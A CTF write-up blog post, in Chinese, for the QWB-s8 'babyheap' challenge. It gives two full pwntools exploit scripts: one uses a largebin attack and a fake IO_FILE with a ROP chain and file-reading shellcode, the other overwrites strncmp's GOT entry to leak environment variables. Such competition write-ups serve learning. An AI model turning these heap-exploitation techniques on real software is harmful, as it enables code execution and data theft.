QWB-s8 babyheap

QWB-s8 babyheap

Berial Lv2

前言

这道题算是qwb最简单的一道题了,有两种做法,一种是largebin attack,一种是利用任意地址写修改got.plt表.

该题目主要是只能申请六次chunk。

large bin attack

一次show,通过show在largebin中的chunk就能把libc和heapbase都泄露出来。然后打apple的板子

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn_pe"
elf = ELF(banary)
libc = ELF("./libc-2.35.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
# warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '47.94.231.2 28743'
local = 1
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
script = '''
# b *$rebase(0x1D7B)\n
# b *$rebase(0x1D23)\n
# b *$rebase(0x1D46)\n
# b *$rebase(0x1E5F)\n
'''
# gdb.attach(io, script)
def menu(num):
sla("Enter your choice: \n", str(num))
def add(size):
menu(1)
sla("Enter your commodity size \n", str(size))
def edit(idx, data):
menu(3)
sla("Enter which to edit: \n", str(idx))
sa("Input the content \n", data)
def show(idx):
menu(4)
sla("Enter which to show: \n", str(idx))
def free(idx):
menu(2)
sla("Enter which to delete: \n", str(idx))
def secret(num):
menu(5)
sla("Maybe you will be sad !\n", str(num))
def gift(addr):
menu(6)
sa("Input your target addr \n", addr)

# ----------------------------------------------------------------
add(0x558)
add(0x558)
add(0x548)

free(1)
add(0x568)
free(3)
show(1)
ru("The content is here \n")
base = uheap() - 0x21b120
libc.address = base
p('base')
io.recv(10)
heapbase = uheap() - 0x1950
p('heapbase')
# ----------------------------
leave_ret = base + 0x4da83
key_gadget = base + 0x16a06a# mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18];
# ----------------------------
_lock = 0xdeadbeef
_IO_wfile_jumps = base + 0x217000
orw_addr = heapbase + 0x1b78
fake_io_addr = heapbase + 0x1910
# ----------------------------
payload = p64(0) + p64(leave_ret) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x20) # chunk + 0x30
payload += p64(0)*2 + p64(0)
payload += p64(orw_addr) # chunk + 0x48
payload += p64(0)*4
payload += p64(0)*3 + p64(_lock)
payload += p64(0)*2 + p64(fake_io_addr + 0xe0) + p64(0)
payload += p64(0)*4
payload += p64(0) + p64(_IO_wfile_jumps)
payload += p64(0)*0x14 + p64(fake_io_addr + 0x120 + 0x70 + 0xa0 - 0x68) # chunk + 0xe0
# payload += p64(0)*0x14 + p64(0xdeaddead) # fake_io_addr = this.addr - 0xe0 - 0xe0
payload += p64(0)*0xd + p64(key_gadget)
# ----------------------------
pop_rdx_pop_r12_ret = base + 0x11f2e7
pop_rdi = base + 0x2a3e5
pop_rsi = base + 0x2be51
jmp_rsi = base + 0x519d1
# 0x000000000002a147: jmp rax;
# 0x00000000000379d4: jmp rcx;
# 0x00000000000b131c: jmp rdi;
# 0x000000000003fc7a: jmp rdx;
# 0x00000000000519d1: jmp rsi;
# ----------------------------
orw = p64(0)*6 + b'./flag\x00\x00'
orw += p64(pop_rdx_pop_r12_ret) + p64(0) + p64(orw_addr) # this.addr = orw_addr
orw += p64(pop_rdi) + p64(leave_ret)
# mprotect
orw += p64(pop_rdi) + p64(heapbase)
orw += p64(pop_rsi) + p64(0x3000)
orw += p64(pop_rdx_pop_r12_ret) + p64(7) + p64(orw_addr)
orw += p64(libc.sym['mprotect'])
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr)
orw += p64(pop_rdx_pop_r12_ret) + p64(0x100) + p64(orw_addr + 0x100)
orw += p64(libc.sym['read'])
orw += p64(jmp_rsi)

payload += orw
edit(1, payload)

add(0x578)
iolistall = libc.sym['_IO_list_all']
p('iolistall')
p('_IO_wfile_jumps')
add(0x548)
menu(4)
sc = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
push 3
pop rdi
push 0xFF /* read size */
pop rdx
mov rsi, rsp
push SYS_read
pop rax
syscall

push 1
pop rdi
push 0xFF /* write size */
pop rdx
mov rsi, rsp
push SYS_write
pop rax
syscall
''')
s(sc)

# debug()
ia()

修改strncmp

697deeb3-0b08-4d98-ad5c-e70fda60085a

091bdb1e-e0a7-4015-9e01-e35ecf33c161

调用putenv的时候会调用strncmp,程序中有一个任意地址写不过有限制,可以改gotplt表,改strncmp为puts可以输出环境变量

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn_pe"
elf = ELF(banary)
libc = ELF("./libc-2.35.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
# warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '47.94.231.2 28743'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
script = '''
b *$rebase(0x1D7B)\n
b *$rebase(0x1D23)\n
b *$rebase(0x1D46)\n
b *$rebase(0x1E5F)\n
'''
# gdb.attach(io, script)
def menu(num):
sla("Enter your choice: \n", str(num))
def add(size):
menu(1)
sla("Enter your commodity size \n", str(size))
def edit(idx, data):
menu(3)
sla("Enter which to edit: \n", str(idx))
sa("Input the content \n", data)
def show(idx):
menu(4)
sla("Enter which to show: \n", str(idx))
def free(idx):
menu(2)
sla("Enter which to delete: \n", str(idx))
def secret(num):
menu(5)
sla("Maybe you will be sad !\n", str(num))
def gift(addr):
menu(6)
sa("Input your target addr \n", addr)

# ----------------------------------------------------------------
add(0x528)
add(0x518)

free(1)
add(0x548)
show(1)
ru("The content is here \n")
base = uheap() - 0x21b110
io.recv(10)
heap1addr = uheap()
p('base')
p('heap1addr')
libc.address = base
environ = libc.sym['environ']
p('environ')
strncmp_plt = 0x21a118
j_strncmp = base + strncmp_plt
puts = libc.sym['puts']
p('j_strncmp')
p('puts')
menu(6)
ru("Input your target addr \n")
key = base+0x21aaa1+0x1afff
p('key')
s(p64(j_strncmp))
sleep(0.1)
s(p64(puts))
secret(2)

# debug()
ia()
  • Title: QWB-s8 babyheap
  • Author: Berial
  • Created at : 2024-11-08 17:44:43
  • Updated at : 2024-11-09 17:32:33
  • Link: https://berial.cn/posts/QWB-s8-babyheap/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
QWB-s8 babyheap